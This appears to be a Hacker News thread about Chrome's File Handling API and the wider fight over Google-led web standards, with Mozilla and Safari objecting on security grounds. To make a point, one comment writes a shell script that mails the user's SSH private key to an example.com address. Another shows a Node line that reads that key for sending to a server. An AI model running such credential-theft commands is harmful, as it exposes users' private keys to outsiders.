Let web applications be file handlers
web.dev
web.dev
More info: https://web.dev/install-criteria/
Google claims that "browsers" support an API if it's supported in Chrome and in Microsoft Edge, a Chromium-based browser.
I think that's a fair claim, because MS does sometimes block Chromium features that they don't like. https://www.techradar.com/news/microsoft-edge-becomes-latest...
Microsoft could have blocked File System Access, for some of the same reasons that Mozilla did, but they didn't; they elected to enable the feature.
Since Microsoft + Google together have 70% share of desktop web, and since Microsoft agrees with Google that the File System Access API is a good thing for the web, I think it's not wrong to say that "browsers" support this feature.
Now, you might say, "Microsoft shouldn't count!" but Edge's market share is bigger than Firefox, and we all agree that Mozilla's vote should count (at least as long as they can hang on to 3% market share).
That honestly surprised me, but you're right [0] - though only 0.01% (StatCounter) or 1.65% (NetMarketShare) in it, depending who you listen to.
I'm not sure about the latter, but I'd have thought 0.01% is down in the noise of misreported user agent, which FF users are probably the most likely to be doing.
[0] - https://en.wikipedia.org/wiki/Usage_share_of_web_browsers#Su...
All it does is make the situation more 'death by a thousand papercuts' than any single standard/extension.
Apple is the only real competition to Chrome. Apple has 18% market share, compared to Mozilla's 3%. https://gs.statcounter.com/browser-market-share
Looking at the sources used on the wikipedia page[0], it seems pretty skeptical. For one, the services for collecting the data seem to be depending on tracking APIs from partnered sites. Does Firefox typically allow those through? Is it reasonable to question whether that's a reliable methodology when one of the values of the browsers is preventing such tracking in the first place?
And it shows NetMarketShare data being as current as of May 2021, despite NetMarketShare not providing data beyond Oct 2020[1]. And the last dataset of NetMarketShare has Firefox at 7%. Publicly, at least. Looking around the site it seems people may have access to the internal API, but questions about data integrity remain (now in conjunction on whether unverifiable data from an API should be used on Wikipedia).
Is there something more I and others should know about these data collectors?
[0] https://en.wikipedia.org/wiki/Usage_share_of_web_browsers#Su... [1]https://netmarketshare.com/ "...we are retiring NetMarketShare in its current form. October, 2020 is the last month of data."
As you noticed, https://netmarketshare.com/ is not a great site for browser share data. For one thing, as you point out, they stopped providing new data points in Oct 2020.
But also, for some reason, NMS automatically filters the view by "desktop/laptop."
If you click the yellow "Delete" button on the right-hand side, it'll show you all browsing data as of Oct 2020. https://netmarketshare.com/?options=%7B%22filter%22%3A%7B%7D...
As of Oct 2020, NMS says that Firefox's overall percentage was 3.32%, and that Edge overtook it over the course of the previous year.
GlobalStats StatsCounter says that as of May 2021, Firefox has 3.36% share, down from 4.38% the prior year. Focusing on desktop browsing, Firefox had 8.91% share last year, and has 7.36% share today.
If Firefox loses another 1.5 points of desktop market share this year (and I see no reason why they wouldn't), they'll dip below 5% desktop share; and well below 3% share when you add in mobile.
Microsoft thought ActiveX was a good idea.
No one is stopping another company from disrupting Chrome and making their own vision of the web by building a better browser. It's not going to be easy, but neither was it for Google. Many new web technologies like PWAs originated with Chrome and are slowly diffused to the other browsers. Apple, on their own, would never have pushed for PWAs and even now, their support for them are lackluster.
I think that rewrites history a bit. They started with a Free Software browser - Konqueror/KHTML - and were required to release changes under a compatible license.
We should be thankful that Konqueror/KHTML was released under a Free Software license, rather than a permissive open source license that would have allowed Google to deny us the rights that they had been granted by their upstream.
Your wording suggests that permissive licenses are not “Free Software” licenses, which is incorrect. Even the FSF acknowledges that permissive licenses like BSD, ISC, MIT, and Apache are free.
There are so many web apps that fail ungracefully on Safari and Firefox that work perfectly fine on Chrome. Or apps that have significantly better performance on Chrome, including Google's own products like Gmail and Youtube. As a tech enthusiast I know that the reason is because Google makes it work that way, but for a typical user they'll likely blame the browser that is being shoved on them by their tech-literate family member and run back to Chrome because it "just works."
The only check against Google's hegemony of the web is Apple not allowing anything but webkit be the renderer on iPhones. It's the only platform that is large enough and important enough that Google doesn't have completely unfettered access to implementation of features that advance their ad-tech needs.
There's a difference between being disruptive and destructive. Google's a destructive force to the web.
But this is a critique of open source as a whole. The maintainer (or the team) will have final say and control about the product they built. If the product is extensively used, then that team will have heavy influence.
These new APIs will be used by early adopters and if they provide actual value, they should be added to the other browsers. One would think most production apps will not use Chrome only APIs until they are supported by all major browsers. But at least the ball is rolling in the right direction.
Apple and Microsoft had a chance to compete with Chrome early on but brushed it aside. When Chrome added search in the URL bar, it was innovative. When they add new APIs now, it's too much?
It's not, really. Yeah, maintainers of large projects have large influence over that particular project but much of open source is insulated from the real world through various abstractions, including the web.
Developers of React might have a lot of influence over how programmers approach web development but that's not something visible to end users. When Google pushes something like WebP to the web, it becomes a standard simply because it's supported by Chrome and not because of any process of standardization outside of Google. Safari only just added support for WebP last year but if a website used WebP without a fallback to jpeg/png then the website becomes functionally worse and is visibly broken to consumers.
> These new APIs will be used by early adopters and if they provide actual value, they should be added to the other browsers. One would think most production apps will not use Chrome only APIs until they are supported by all major browsers.
There are many many cases online of websites that simply do not function at all correctly on Safari and/or Firefox because they do use chrome-only APIs or they only test their web apps on Chrome. There are large corporations whose web apps (like their online shops) don't even work correctly on iOS' browsers. One would think, but reality doesn't match your expectations.
> Apple and Microsoft had a chance to compete with Chrome early on but brushed it aside. When Chrome added search in the URL bar, it was innovative. When they add new APIs now, it's too much?
Improvements made to user chrome has no implications on the web as a whole. Adding search to the address bar doesn't make Youtube or Gmail function worse on other web browsers.
I think it's important that browsers are able to improve the web. I'm not against the idea of Google proposing adding new functionality through new APIs. The problem is that they can do that without any oversight from anyone else. They create a new technology that is controlled by them and introduce it to the web where they already have massive influence (#1 search, #1 video website, #1 email, etc) and expect everyone else to simply fall in line. Companies like Mozilla don't have any recourse here. No single company should have that much influence over the web.
Yet here we are where one company has control over some of the biggest websites on the web while having influence over how visible any other website is due to being the biggest search engine on the web while also controlling the browser that everyone is using while also controlling the operating system that is the most used in the world all while being a company that their primary business is harvesting people's information to serve targeted advertisements.
It's is almost impossible for anyone to create a new browser. Even for a corporation with near-unlimited resources it would be a daunting task. Hell, Microsoft gave up, and they are definitely not short on resources.
At the time of this writing Chrome ships 7600 web apis [1]. Firefox and Safari ship 6500 and 6300 respectively. Chrome will happily ram its own internal APIs through standards committees with nothing but a lip-service to the other implementors because this only assures Chrome's dominance. This also assures that no other browser will ever appear.
> Many new web technologies like PWAs originated with Chrome. Apple, on their own, would never have pushed for PWAs and even now, their support for them are lackluster.
Ah yes. The bad-bad Apple. How can Apple not be bad when we have the great saviour of the web, the Saint Disruptor Chrome.
Meanwhile, both Apple and Mozilla are increasingly on the same side with regards to the non-standards that Chrome rams through: they are vocally opposed.
A very-very non-exhaustive list: https://webapicontroversy.com These "disruptions" are so badly specified (read: are so Chrome-only) that sometimes the devs from competing browsers can't even understand them: https://github.com/mozilla/standards-positions/issues/459#is...
And yet, Chrome will have you believe that these standards are not only there, but that they are complete (so many of them are just drafts that have been cobbled together by some googlers), and that they are immediately available and can be used (they can only be used in Chrome).
[1] https://web-confluence.appspot.com/#!/confluence
Edit: grammar and typos
On https://webapicontroversy.com, I see these APIs that Chrome supports that clash with Mozilla:
Web Bluetooth API Web NFC API Web USB API
These seem like useful APIs. Mozilla seems against these due to security risk, but then why not work on a protocol that is safe? Bringing NFC, USB, and Bluetooth to the web is important in my opinion. Apple still doesn't let you connect a bluetooth device via WebKit, but guess what? You can pay to install a browser on the App Store that does.
Nothing is going to be perfect at the beginning but if Mozilla is so against it, the best response is a better product.
What the hell are you talking about? Safari and Firefox were building a better web long before Chrome even came onto the scene.
Safari precedes Chrome by 5 years.
Firefox precedes Chrome by 6 years.
They were both making the web better when IE6 held something like 99% of the market.
> Mozilla seems against these due to security risk, but then why not work on a protocol that is safe?
What the hell are you talking about? You want Mozilla to implement a new safe protocol to replace USB?
> but if Mozilla is so against it, the best response is a better product.
Yes, and both Mozilla and Safari are against WebUSB for one simple reason: they want a better product that doesn't compromise user security. But sure, why they don't just build one, right?
Chrome doesn't care and ships it anyway, and for some reason you're saying it's Google who are building a better product. No. They are building a product that's better for Google, first and foremost, and everyone else (including security, privacy, long-term health and sustainability of the web) be damned.
[1] Mozilla https://github.com/mozilla/standards-positions/issues/154 [2] Brave https://github.com/brave/brave-browser/issues/11407
And remember that PWA is Progressive Web Application. The P is from Progressive Enhancement[1]. This means that missing an API or two doesn't mean that your browser doesn't support PWAs. It just means that some PWAs will have less functions or give a less "app-like" experience.
[1] https://en.wikipedia.org/wiki/Progressive_enhancement
TL;DR that bug is mostly meaningless, the underlying APIs are what matter.
- I'm already tired of constant browser native pop-ups asking for access to things. This is just asking for the same treatment: "The site memes.example.com wants to be able to open .gif files. [Allow] [Deny]"
- Does this mean all that extra javascript gets access to the file? This isn't an anti-javascript rant, but your average 3rd-party site is loading code from all over the web and it's impossible to expect users to understand the implications of "open nopebaby.gif with ...". I mean, the OS is making it easy, so it must be safe!
Also FYI, these prompts are only shown when a user interacts with the website.
The web is already ridiculously feature-bloated. The scope of it is reckless. The madness of adding new features to a browser for every little use case needs to end.
This bent of radical conservatism against online platforms is really dismaying to me. The web has, my whole life, gotten better & better. Oh yes, there are ads & big companies. But it keeps getting richer and more powerful, we keep finding new exciting uses, we keep being more creative & empowered from the web, & it's ease & connectivity & rich capabilities. And wow, there are so many angry men, really upset pissed off vocal folk, that can't stand that the web has gotten better. That see: oh there are ads, so I need to hate the web, I need to hate the web's growth.
I just find it incredibly incredibly sad. The web should continue to grow and thrive. But there is such a loud angry mob of people who really really really really really really really hate that idea. There's no reason, no kindness to negotiate or mediate with them. They are just so so angry & so against the web's growth. I for one can not imagine having such a limited horizon, such limited vision, such deep rooted desire to choke off any medium.
As someone being responded to, I'm frankly rather disturbed. It'd be pure weasel-words to say "Oh, I was talking in general and didn't mean this about anyone specifically". Consider the word structure alone:
You and people like you
shrill voices, tight small box, radical conservatism ... pissed off vocal folk, can't stand / gotten better, hate, hate, angry mob, really*7 hate, no reason, no kindness, angry, limited horizon, limited vision, deep rooted desire to choke
gotten better & better, richer, powerful, exciting, creative, empowered, easy, rich, incredibly*2 sad, grow and thrive
I could definitely tone it down, try to pad my defense for your sake. I feel enormous commitment to this though, and even acting a fool, arguing ineffectively, feels necessary given the despair of this strident assault the one open growing standards based medium that the world has been suffering lately. that you feel bad weighs against a very very real damage actively & ongoingly being done by this vocal anti web reactionary movement.
This is nothing but verbal abusive about people you associate with an idea you hate because they offered criticism against a specific idea around how the web and browser might change.
And you're ready to be violent about it?
Are we really talking about a potential web browser improvement here?
> The web is already ridiculously feature-bloated. The scope of it is reckless. The madness of adding new features to a browser for every little use case needs to end.
This is what I was replying to. There's no arguments here either. This is emotional manipulation against a growable web. It's zeal & negative energy, concentrated.
> Having a thick interface between your files and websites is a feature, not a bug.
This is you mr-wendel. This is what I am arguing is wrong. I see no arguments to argue with. I just see bias and negativity. You wanted to define the web as a small narrow thing. You made no assertions no arguments. But such anger, such negative energy feels enormously trendy & popular recently.
https://en.wikipedia.org/wiki/Embrace%2C_extend%2C_and_extin...
https://en.wikipedia.org/w/index.php?title=Embrace%2C_extend...
That said, I'm bummed out that E2EE using insertable streams / SFrame transform is only currently supported in Chrome.
I've also noticed that very few devs in the WebRTC community actually test stuff in Firefox.
It should have a higher share. Microsofts anticompetitive “Firefox might be malware” pop ups are absurdly destructive
=== quote and paraphrase ===
What is missing is signals from other browser implementors. Until this info is included prominently at the top of every web.dev article, it will be seen as biased and uninformative. when you say "you can do this today", you're knowingly encouraging people to build chrome sites instead of websites!
These are often just drafts created and authored by Googlers, and nothing in the web.dev articles even mentions that.
web.dev presents itself (through its domain name, inconspicuous Google branding, etc) as a neutral resource for web developers. It's not. By not making its Chrome-centric nature clear, you're actively making it harder for web developers to get good, unbiased info.
=== end quote and paraphrase ===
For example, the article claims that "web apps are capable of reading and writing files". No, they are not.
It's sort of charitable to say that there's "no signal" from either Safari or Firefox on File System APIs [2] and on File Handling APIs [3]. However, web.dev presents this as fait accompli and expect droves of "omg Safari stifles innovation on the web" on HN.
Whereas it's Google ramming incomplete drafts of Chrome-only internal APIs through standards bodies and enabling them by default in Chrome.
[1]
https://twitter.com/Rich_Harris/status/1399025469559914496 and then https://twitter.com/Rich_Harris/status/1399043615280746497
I agree the phrase "no signal" does not accurately communicate other browser vendors' position.
Mozilla's current position on File System API is "defer".
> The ability to read and write from the filesystem is potentially very dangerous. We will need to carefully consider any solution in light of the security and privacy implications.
> We recognize that the spec authors take this issue seriously, but we are concerned that any solution will increase the risk of security incidents more than we are willing to tolerate. Right now, there isn't enough detail in the specification to make an assessment of these risks, so we will defer our decision until we have more information.
https://mozilla.github.io/standards-positions/#native-file-s...
..And Safari's position:
> Apple's WebKit team does not support this feature due to the security / safety concerns.
https://lists.webkit.org/pipermail/webkit-dev/2020-August/03...
Links are explicit. You could always right up a trivial browser extension to do this on a case by case basis if you really desire.
There's nothing preventing a bad actor from copying the existing banking app and attaching a backdoor, assuming local code execution capability - either re-sign it with a local codesign certificate or use runtime code injection/linker overrides.
A web app has always the URL bar and the banking site can rely on HSTS to prevent man-in-the-middle attacks.
Getting an app to a user is imho FAR more difficult than showing him a website. (Fake ones even more so)
How easily would you click on a link if I would provide it here vs How easily would you install a new program if I provided you a link here?
Is there a bigger threat model people are worried about with extending the app schema to include normal URLs as well? Or do you just think the problem would be worse if the scope was broader?
Trying to figure out where people are drawing the line on this.
And I guess Slack is signed on Mac via Gatekeeper, but it's not distributed through an app store.
I don't run Windows and I won't install Slack natively on my Linux boxes, so I can't check the other platforms. But I would be a little surprised if the same doesn't work on them. This is basically how mailto links work today, right?
See https://developer.mozilla.org/en-US/docs/Web/API/Navigator/r...
But of course, technically it's the exact same thing, it's just a layer above. So you have a point.
On Linux, Slack installs a custom protocol handler, and includes a hidden iframe with the slack://RANDOMSTRING/magic-login/LONGRANDOMSTRING URL. I assume it's the same on Mac.
This prevents malicious third-parties from opening bank.com in their own app, but of course it also prevents useful things like using a custom YouTube app.
https://github.com/MicrosoftEdge/MSEdgeExplainers/blob/main/...
Latest two that come to mind is DoH integrations in the browser and app specific file handling.
Of course, the question is "well why?" needs to be asked. The (non)conspiratorial answer to this is "because Chrome wants more control." We're way past the era where a web browser was just something that handles just the DOM.
Chrome kernel users when? What about Chrome kernel modules? Where do you draw the line?
I think it's now both, because things won't work correctly if you're offline for the most part. Tarpit diving.
We are in what I call the mainframe 2.0 era.
Just look at GIT its killer feature is decentralization, bad luck because Linus Torvalds and bunch of kernel developers are using it in such way. Rest of the world is using Github\Gitlab making their own centralized repositories.
centralized time-sharing -> decentralized applications -> centralization with web applications (or cloud)
Like next model would be coming from previous one or somehow created by some architect and like one or the other would be superior.
There is no such causal relationship, each model was or is best for its time and technical possibilities. If it would be possible to have decentralized applications running on PCs in 1950 people would do that right away.
Centralized time-sharing systems were necessity because computers were freaking huge and slow, remember that people did not have network connection to mainframe, they had terminals that were scarce and rather close to huge boxes that were mainframes.
Decentralized applications running on PCs were necessity because we there was no ubiquitous networking in the 80's-90's, while computers got small enough that basically everyone could have computing possibilities at his desk, not just dumb terminal. There were still quite some mainframes around because they were more convenient for huge calculations than whatever was possible on the desktop.
Nowadays or since 2000's we have really capable machines on desktop and internet started to grow to enable centralization that people want. Not like centralization that was necessity. I can do my calculations or a lot of work done on my desktop but I can easily share that work with someone on the other side of globe and thanks to centralization I don't have to wake him up but he can check his email when he finishes his morning coffee.
So it is not back or forth, those are totally different modes of computing enabled by different possibilities that we have because of technology changes.
I like how the web gets native features, but unlike (non-mobile) native apps before, emphasizes security.
Here's an email attachment that compromises your SSH private key:
#!/bin/sh
mail geofft@example.com < ~/.ssh/id_rsa
Can you provide an example of "arbitrary JS with even more bare metal abilities" that can do the same thing? I'll even visit your website, with JavaScript enabled, on my laptop with a private key that can access GitHub.
Their electron client is literally a remote administration toolkit, it has full access to FS (electron app) and it loads every script from their servers. On launch the desktop client opens websocket server for command and control listening.
They can just add something like require('fs').readFileSync(process.env.HOME + '/.ssh/id_rsa').toString() and send this to their servers, and you won't even notice that (since it doesn't require an update on client because the client is just a browser with full permissions that loads obfuscated code from their servers every time you launch it).
running in-browser is not the same as installing their electron client.
1. Install Chromium from https://www.chromium.org/
2. Go to https://discord.com/ and click "Open Discord in your browser"
3. Discord can read files from ~/.ssh
You mention "Electron," but Electron is a local application. So it doesn't satisfy my request, which is that I want you to steal my SSH private key when I visit a website in a web browser.
For the scope of the current conversation, Electron apps can already be file handlers on every single desktop platform, so we're pretty clearly not talking about Electron when we critique these new web standards. Electron doesn't care about your opinion of web standards or what is or isn't getting fast-tracked in Chrome, Electron can already do whatever it wants.
That's not to say that Electron's lack of sandboxing isn't a problem, it absolutely is. But it's just not really relevant to what we're talking about right now, and it's a problem that almost every native app platform shares with Electron.
One of the goals with introducing newer "riskier" standards on the web is to get an application platform that does have sandboxing -- it's to be able to use Electron and other unsandboxed apps for fewer things. Whether that's a good goal I'm not going to comment on; different people have different opinions on the direction of the web as an app platform and whether it's smart for Google to be breaking all these holes in an otherwise decent sandbox. But regardless, Electron is not the web.
Surprised Google didn't whip out something proprietary, since Google Docs was added 15 years ago, way before official drag and drop support too. Didn't Google Desktop allow that at some point?
But that is deprecated in favor of regular web apps having access via a regular browser API. There is potential for it to become a web standard, if other browsers go along. It’s too early to tell.
Extensions are less secure. As we’ve seen they have too many permissions and ownership can be transferred. They were also inherently Chrome-only, though there seem to be some efforts to standardize api’s these days.
But if this new api goes through, it opens an interesting security... situation where the ownership of a web app gets transferred and it automatically updates, so now opening a file does something else.
This is true of automatic updates in general. Automatic updates are the cause of and solution to many problems.
[1] https://developer.chrome.com/docs/extensions/reference/fileS...
As a web developer this is actually a positive move as it gives us the ability to make really powerful apps for the web without having to resort to wasting time in apple's walled garden.
Yes, Firefox [1] thinks this is dangerous, but the points they have put forward are half baked at best. This API is no worse than some of the existing APIs implemented by every browser and contrary to what the name might suggest, does not degrade a user's privacy or security.
[1] https://github.com/mozilla/standards-positions/issues/154
That's not a terribly strong argument.
> does not degrade a users privacy or security
With proper sandboxing, I think it could be safe. Without that, then I think it's a disaster. Any time a message saying "Allow access to XXX?" most people click yes just to clear the dialog.
Talking about this specific API, when a user blindly clicks yes, they are then showed a file picker. This file picker interface exists in every browser and I am not aware of users blindly picking a file and uploading it without realizing what they did.
This brings me back to my point that this user interface already exists in every browser, the only difference is that this new API allows to write back to the same location.
As an ad agency this is actually a positive move as it gives us the ability to make really powerful apps for the web without having to resort to wasting time in apple's walled garden.
This is going to be used for tracking so fast haha
On a super duper catch me out technical ability and full prototype? Can't help you. I just trust Google will find a way to be creepy. It's a pretty safe bet.
What makes you think Safari will implement this? Like many features Google announces, this will be a Chromium-only feature for ages.
Mac users running Chrome or Edge may be valid end users for this API, but Safari and iOS users won't benefit from this if it would permit developers to skip Apple's walled garden. Apple doesn't want competitors to their app store laying all the golden apps. Safari still doesn't properly support notifications, after all, and it's not because Apple can't think of a way of implementing them.
In old fashioned "file" way, it's just a .mpeg file.
This seems very strange. Since when does a File stop being readable when it is modified? What does "modified" mean here anyways? Can anyone shed some light on this?
Hence you have the choice between aborting on write and possible "garbage files" (i.e. partly overwritten) if you keep reading.
Like https://www.cnet.com/news/javascript-opens-doors-to-browser-...
This is just as nefarious as a traditional SAAS application, if not more so. Google is setting up a system whereby you can have the data on your own machine, but the actual logic of how to interpret the data is still loaded off of a server on-demand, with the end goal being that they can charge you rent to access files on your own device. Pretty cool for them, but seems like a raw deal for the end-user.
"We need to liberate ourselves from closed-source software!"
Result: the software moves where it can't be liberated.
It's not some big conspiracy. It's like how a plant grows toward the sun. It's that software is very labor intensive to produce and there must be an economic model. If there's no economic model in one place, it goes somewhere else where there is.
If we want computing to be open, free, and user-centric (rather than user-exploiting), we have to restructure the industry so that that's where the money is.
The link to a succinct explanation would be much appreciated.
The only network access absolutely necessary is downloading the web app code initially but after first load it's possible for a web app to work offline
You could write an uploader that sends the file over the network, or handle it entirely locally.
It all seems to be Chrome only for now.
Speaking of powerful web apps, I wonder if we'll see support for registering web apps as commands that can be run in a terminal.
curl https://URI_TO_WEB_APP | wasm-exec-webapp /dev/stdinAt the risk of sounding conspiratorial, it feels like they're trying to hide in plain sight, pushing Chrome only features while constantly just saying "mordern web", and while they pay passing mention that the API is "currently in development" it doesn't add the fact it is not standardised, and it likely won't be coming to Firefox at all, as they consider it harmful: https://github.com/mozilla/standards-positions/issues/154#is...
I don't think that's too conspiratorial, I think that's exactly what is going on here.
A bunch of other sites have also 'claimed' some .new domains, like vue.new goes to codesandbox.io and api.new to RunKit.
Yikes. The original article should have definitely mentioned this, if it were not just a Google mouthpiece.
The entire website should be treated with extreme suspicion. It's all the more insidious given the URL.
While it wasn't the first example of this, I think Web Audio set the standard for this pattern - individual Chrome contributors making their best effort to design and implement a cool API, but then the org's scheduling and priorities result in it shipping before it's remotely ready and before other browser vendors have meaningfully contributed to the process. This early ship date combined with Google's market power results in applications building on top of these immature APIs, which means that other vendors have no choice but to implement and ship absolute garbage.
Web Audio is a great example because they kicked that steaming pile out the door in order to enable (Chrome-only, naturally) web ports of things like Angry Birds, even though in practice that API was barely usable for anything and had all sorts of undesirable characteristics that still aren't completely fixed nearly a decade later. At the time Mozilla was working on a design and implementation for an API that was actually good, but Google's unilateral move killed any chance of a good solution being shipped by multiple vendors.
Other Chrome-only APIs have been similar stories, though at least Native Client/Pepper - probably the worst example - failed because the doomed design and implementation made it impossible for it to even hit their own production targets and drove app developers (like Unity) away.
In some cases you can meaningfully argue that other vendors are just dragging their feet - Safari being the main example, where they simply have been years late to ship useful things that both FF and Chrome had - but in practice nobody else has the massive development resources Google has to waste on dead-end trash APIs and nobody wants to pay the cost of implementing something they'll have to throw out a year later with the knowledge that websites won't support their browser anyway.
The meaningful security/privacy concerns Apple and Mozilla use to reject new Google APIs are also a good example, because Google has the resources to just address these security issues via brute force. They can unilaterally deprecate an existing API and break tons of websites (Web Audio, video, etc) or just ship something busted and rapidly rework it to try and paper over the consequences (WebMidi etc being used for fingerprinting...)
In my time working on the nacl (then WebAssembly) team it became clear to me that most of the devs there weren't acting on malicious motives, the overall structure and priorities of Google as a whole just produced bad outcomes. Sadly with their de-facto monopoly there's no pressures to fix that.
Chrome does seem to be somewhat hasty, which can have a similar effect in practice. But it might seem different if you actually want a feature and don’t want to wait years for it?
I don’t think Web Audio is as bad as you say. There is the ScriptProcessorNode which is getting deprecated in favor of audio worklets because having JavaScript processing audio on the foreground thread is a bad idea. But other than that, it seems nice for making simple audio processing graphs, and the infrastructure for putting JavaScript in the background took a while to work out.
They also treated basic use cases like 'pause a piece of playing audio' as out of scope, which is simply bizarre.
Every web app or port I've ever touched had issues caused by the poor design and quality of the API.
Indeed. It's rarely designed to be a web standard. However, Chrome rams that through standards body, calls that a standard and enables it by default in Chrome.
Just look at WebHID. Firefox devs couldn't even understand the spec [1], it was so Chrome-specific. Guess what, it's enabled by default in Chrome [2] and Chrome says that it's a standard now [3]. Most of those non-standards are not even out of the "draft" stage of the standards process, with both Safari and Firefox objecting to many, many, many things in the specs.
Google. doesn't. care.
[1] https://github.com/mozilla/standards-positions/issues/459#is...
The fact that they tried and failed (if they did fail; maybe they will succeed eventually?) shows that they cared at least a little about standardization, even if it was somewhat half-hearted.
When negotiations fail, it's not a given that one side is entirely at fault.
The "request for Mozilla's position" was on December 1, 2020.
Chrome enabled it by default in Chrome 89 that was released only 4 months later, on March 3, 2021.
So they "requested Mozilla's position" and still went ahead, implemented it and enabled it by default. But so nice of them to update the spec two weeks after they released it.
> The fact that they tried and failed (if they did fail; maybe they will succeed eventually?) shows that they cared at least a little about standardization
As reality and facts show, they couldn't care less about standardization.
> When negotiations fail, it's not a given that one side is entirely at fault.
Please show me at which point this was a negotiation.
I don't think it is even a case of hiding at all. just a short domain handy to be linked to during talks, presentations etc...
1. FileSystem API: (Note that this is one word, "FileSystem.") This deprecated API simulates a local file system that web apps can navigate around. With this API, you can develop apps that can read, write, and create files and directories in a sandboxed, virtual file system, but you can't use it to access files in the user's Documents folder.
You can polyfill this API, and IMO it's not very useful. It's typically backed by actual files, but there's no expectation that users will directly access that folder.
https://caniuse.com/filesystem https://caniuse.com/mdn-api_filesystem
2. File System Access API (formerly known as Native File System API and prior to that it was called Writeable Files API): This API lets webapps launch a picker to select a file or folder; from then on, the webapp can write to that file/folder without prompting the user (until you close the tab).
Without this API, if your webapp has a file you'd like to write, all you can do is let the user download it. Downloaded files always either automagically appear in the Downloads folder (and do not permit overwriting existing files; identical names get autorenamed), or they launch a picker, which nags the user with "Are you sure your want to replace this file?"
The FSA API cannot be polyfilled, and it's impossible-ish to implement a good web-based text editor without it. (Imagine if your favorite editor could only generate new files and never overwrite old ones, or if it nagged you "are you sure?" every time you tried to save your changes.)
That's the API you linked to above. There, a guy says he thinks it should be harmful, but that's not the standards position that Mozilla actually adopted. They currently mark it as "defer" (though they may decide to come around and mark it "harmful") https://mozilla.github.io/standards-positions/#native-file-s...
https://caniuse.com/native-filesystem-api
3. File Handling API: This is what TFA is about. It allows your webapp to say "I handle .txt files; when someone double clicks on a .txt file, open it in my webapp."
Mozilla lists this API as "defer" as well. https://mozilla.github.io/standards-positions/#wicg-file-han...
https://github.com/mozilla/standards-positions/issues/158 is where they discussed that. (Note this is issue 158, as opposed to issue 154 in your link.) I agree with Mozilla that it makes no sense to implement the File Handling API without the File System Access API.
Making it clear that it’s Chrome only (for now) would be good and they should do that more prominently. Making it possible for other browsers to implement by designing it with standardization in mind also seems good? (Unlike the situation with web extensions.) Lock-in is bad, Chrome-only websites are bad, so they should be trying to standardize things and avoid using it as a point of differentiation between browsers.
Not speaking for other browser vendors is also good. Like, it’s all very well for us to say that Firefox seems unlikely to pick it up, but someone on the Chrome team should definitely not say that, because it jinxes the effort and Firefox might change their minds if web developers seem to want it. (The comment you link to raises security concerns but I don’t think they claim to be giving the final word about Firefox’s position.)
So we see the state of standardization a bit hidden behind euphemisms like saying that there are “no signals” from other browsers yet.
There’s also the danger of having early articles become out of date by claiming that things are Chrome-only when actually the situation has changed and the person writing the article doesn’t know about it, so there is a tendency to avoid saying too much.
The underlying assumption is that web standards evolve by browser vendors starting to implement things ahead of getting consensus. Implementation and documentation start ahead of the standardization effort, which goes on in parallel.
(And underlying that assumption is the notion that rapid adoption of more powerful web api’s is desirable and “stagnation” is bad. Safari gets a lot of grief for being too slow, while Chrome gets grief for being too fast.)
Literally mostly from Google employees just mad their pet project doesn't work on iOS. I, and plenty of others, appreciate the position Safari (and sometimes Firefox) holds in only supporting web APIs that provide value greater than the security and privacy risks they introduce.
Google's busy trying to invent ways for websites to tamper with your USB devices, and it hasn't even managed to deal with how much malware it distributes through it's extension store alone, much less through it's ad platform and misuse of the notifications API.
You’re also trying to put yourself in a position of speaking for other developers, which is something we should avoid. How do we know what most developers want?
That is not what I said. I said they are trying to let websites tamper with your USB devices. Aka, they introduced WebUSB, yet another mostly-useless browser feature that exposes a large attack area to the web which I need to block by policy, that was probably solely introduced so they could release https://flash.android.com/ which very few people need or use, and could just as well be a desktop app.
As someone who dabbles with Arduino I actually do want USB support. I don’t particularly like installing everything but the kitchen sink on my desktop via homebrew just to get a decent development environment going. (Last time I tried it, the Python install failed because homebrew doesn’t support the OS version I’m running. I really dislike homebrew.)
Running embedded development in a browser and just giving access to a certain USB device would be an improvement, letting you do it on any machine or even a Chromebook. It’s going to take a long time to get there but I can see it being useful someday.
And you've just picked another extreme niche, like flashing Android ROMs.
Here's the problem with things like WebUSB that Google injects into Chrome: It's going out to over a billion users, including seniors, enterprise environments, and the technologically inept. And it introduces security risks. Why would anyone launch WebUSB out to, say, my grandma, just because maybe 100,000 people in the world might use features that require websites directly talk to a USB device?
Ironically, I could tell you how Google could fix this right now, but I'm confident they won't do it because it's not Googley enough: Leave it and a dozen similarly obscure web features permanently disabled by default behind an about:config flag. Google is obsessed with making things "just work", so they enable everything, even though something like WebUSB will only ever be used by people who are doing something sophisticated enough that flipping an about:config flag is in their wheelhouse.
As an IT admin, what's really frustrating is having to edit group policy every month to disable each and every new security hole and pop-up call-to-action feature browsers introduced that month. (Google is not alone in this, Firefox is guilty too to some extent, and Edge clones all of Google's bad ideas, of course.)
And for people at home, the thing is, non-technical users approve everything. They hit that accept button on every bloody prompt they get. And I know this because I spent a lot of time cleaning out the Privacy permissions tab on people's browsers when they have problems. "Why are three porn sites able to send desktop notifications on this browser?" Who the heck knows?
Just to make it easier for you to play with an Arduino, everyone else shouldn't have to play whack-a-mole with "features" silently injected into their browser via evergreen updates.
But the audience for WebUSB might grow. Many consumer electronic devices have companion desktop apps to configure them. Wouldn't it be nice if we didn't have to write them multiple times, and you could use the same software to configure them on Linux or a Chromebook as well?
You're claiming that Google just wants this for flashing Android but how do you know? Maybe they're thinking bigger.
If I was to characterize most of my issues with the Chrome team, it'd be that they need to stay in their own lane. They've injected a botched antivirus app into their releases before, DoH basically sidesteps the OS' networking stack because it was inconvenient for them they couldn't change it, etc.
At what point can we tell the Chrome team to stop feature creeping and just try to make their web browser waste less RAM?
It would be useful to have devices that don't talk to the network at all unless I plug them in and open a particular web app.
They won't. Both Mozilla and Safari pointed out the security issues and refused to implement WebUSB (along with a host of other APIs) as specified.
Google said: we don't care, it's now enabled by default in Chrome.
The most important thing to note here is that we're looking to escape vendor control. A lot of people miss that. If browsers can get feature parity with apps that means no more app stores. no more app stores means more freedom of choice. Maybe that's not good for grandma but it's good for you and me.
There are a few decisions by chrome developers that I will never support, like a bunch of stuff in Manifest V3 but hopefully with other browser companies will provide a way around boneheaded, selfish corporate decisions while we reap the benefits of better integration with the operation system.